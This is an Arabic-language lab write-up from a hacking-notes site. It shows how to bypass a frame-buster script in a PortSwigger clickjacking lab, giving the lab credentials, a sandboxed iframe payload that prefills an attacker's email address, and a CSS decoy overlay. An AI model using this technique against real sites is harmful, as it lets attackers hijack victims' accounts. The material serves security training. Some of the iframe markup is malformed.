> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-with-frame-buster-script.md).

# تجسير النقر مع نص مكافحة الإطار

### اختطاف النقر باستخدام سكربت كاسر الإطارات

نفّذ هجوم اختطاف النقر يغيّر عنوان البريد الإلكتروني للمستخدم رغم وجود "كاسر الإطارات". تُحلّ المختبر عندما يتم تغيير عنوان البريد الإلكتروني للحساب.

#### بيانات الاعتماد المقدمة

* المستخدم: `wiener`
* كلمة المرور: `peter`

#### الملاحظة الأولية

من خلال محاولة عرض صفحة الحساب داخل `<iframe>`، تُرجِع الصفحة المحتوى التالي (مثال d

{% code overflow="wrap" %}

```html
<iframe src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=wiener"</iframe>
```

{% endcode %}

<figure><img src="/files/ffc64e074cc489f6dbf5706783630815a12d9016" alt=""><figcaption></figcaption></figure>

#### الحماية المرصودة (كاسر الإطارات)

تحتوي الصفحة على سكربت يمنع تأطيرها ويستبدل نص المستند إذا تم تحميل الصفحة داخل إطار:

```javascript
if(top != self) {
 window.addEventListener("DOMContentLoaded", function() {
 document.body.innerHTML = 'لا يمكن تأطير هذه الصفحة';
 }, false);
}
```

تكتشف هذه الآلية متى تكون الصفحة داخل iframe وتحيّد المحتوى المعروض.

{% code overflow="wrap" %}

```html
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

{% endcode %}

<figure><img src="/files/9543489e2b147b2d26ffbec24ed3397a3d3d9a4d" alt=""><figcaption></figcaption></figure>

مثال على نمط وطبقة الإغراء المستخدمة

```javascript
<style>
iframe{
width: 500px;
height: 600px;
}
div{
position: relative;
top: 455px;
left: 80px;
}
</style>
<div>انقر</div>
<iframe sandbox="allow-forms" src="https://0a74006604f0c1e280f1038e00a10010.web-security-academy.net/my-account?email=jordan@hacked.com"</iframe>
```

<figure><img src="/files/0f432c3d0ccae8df930ba0fc746193694a34bd13" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/clickjacking/clickjacking-with-frame-buster-script.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
